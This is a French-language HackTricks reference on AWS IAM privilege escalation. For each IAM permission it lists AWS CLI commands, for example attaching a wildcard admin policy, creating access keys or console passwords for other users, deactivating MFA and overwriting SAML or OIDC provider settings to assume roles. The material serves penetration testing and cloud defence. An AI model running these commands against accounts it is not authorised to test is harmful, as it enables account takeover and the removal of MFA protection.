AWS - IAM Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

IAM

Pour plus d'informations sur IAM, consultez :

pageAWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Accorde la capacité de créer une nouvelle version de politique IAM, contournant le besoin d'autorisation iam:SetDefaultPolicyVersion en utilisant le drapeau --set-as-default. Cela permet de définir des autorisations personnalisées.

Commande d'exploitation :

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact: Permet d'escalader directement les privilèges en autorisant toute action sur n'importe quelle ressource.

iam:SetDefaultPolicyVersion

Permet de changer la version par défaut d'une politique IAM vers une autre version existante, escaladant potentiellement les privilèges si la nouvelle version a plus de permissions.

Commande Bash :

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impact : Élévation de privilèges indirecte en activant plus d'autorisations.

iam:CreateAccessKey

Permet de créer un ID de clé d'accès et une clé d'accès secrète pour un autre utilisateur, entraînant une élévation potentielle des privilèges.

Exploitation :

aws iam create-access-key --user-name <target_user>

Impact: Élévation de privilèges directe en assumant les permissions étendues d'un autre utilisateur.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Autorise la création ou la mise à jour d'un profil de connexion, y compris la définition de mots de passe pour la connexion à la console AWS, entraînant une élévation de privilèges directe.

Exploitation pour la création :

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploitation de la mise à jour :

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact: Escalade de privilèges directe en se connectant en tant que "n'importe" quel utilisateur.

iam:UpdateAccessKey

Permet d'activer une clé d'accès désactivée, ce qui peut potentiellement entraîner un accès non autorisé si l'attaquant possède la clé désactivée.

Exploitation:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impact: Élévation de privilèges directe en réactivant les clés d'accès.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permet de générer ou réinitialiser des identifiants pour des services AWS spécifiques (par exemple, CodeCommit, Amazon Keyspaces), héritant des autorisations de l'utilisateur associé.

Exploitation pour la création:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploitation pour Réinitialiser :

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact: Élévation de privilèges directe au sein des autorisations de service de l'utilisateur.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permet de joindre des politiques aux utilisateurs ou aux groupes, en élevant directement les privilèges en héritant des autorisations de la politique attachée.

Exploitation pour l'utilisateur:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploitation de groupe :

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impact: Élévation de privilèges directe vers tout ce que la politique accorde.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permet de joindre ou de mettre en place des politiques pour des rôles, des utilisateurs ou des groupes, permettant une élévation de privilèges directe en accordant des autorisations supplémentaires.

Exploitation pour le rôle :

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploitation des stratégies intégrées :

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Vous pouvez utiliser une politique comme suit :

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impact: Élévation de privilèges directe en ajoutant des autorisations via des politiques.

iam:AddUserToGroup

Permet d'ajouter un utilisateur à un groupe IAM, en élevant les privilèges en héritant des autorisations du groupe.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: Escalade de privilèges directe au niveau des autorisations du groupe.

iam:UpdateAssumeRolePolicy

Permet de modifier le document de la stratégie d'assumption de rôle d'un rôle, permettant l'assumption du rôle et de ses autorisations associées.

Exploitation :

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact: Élévation de privilèges directe en assumant les autorisations de n'importe quel rôle.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permet de télécharger une clé publique SSH pour s'authentifier auprès de CodeCommit et de désactiver les appareils MFA, entraînant une élévation de privilèges indirecte potentielle.

Exploitation pour le téléchargement de clé SSH :

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploitation de la désactivation de la MFA :

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact: Élévation de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.

iam:ResyncMFADevice

Permet la resynchronisation d'un appareil MFA, pouvant entraîner une élévation de privilèges indirecte en manipulant la protection MFA.

Commande Bash :

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: Élévation de privilèges indirecte en ajoutant ou en manipulant des appareils MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Avec ces autorisations, vous pouvez modifier les métadonnées XML de la connexion SAML. Ensuite, vous pourriez abuser de la fédération SAML pour vous connecter avec n'importe quel rôle qui lui fait confiance.

Notez que en faisant cela, les utilisateurs légitimes ne pourront pas se connecter. Cependant, vous pourriez obtenir le XML, mettre le vôtre, vous connecter et reconfigurer le précédent.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

À FAIRE : Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Pas sûr de cela) Si un attaquant dispose de ces autorisations, il pourrait ajouter une nouvelle empreinte pour réussir à se connecter à tous les rôles faisant confiance au fournisseur.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour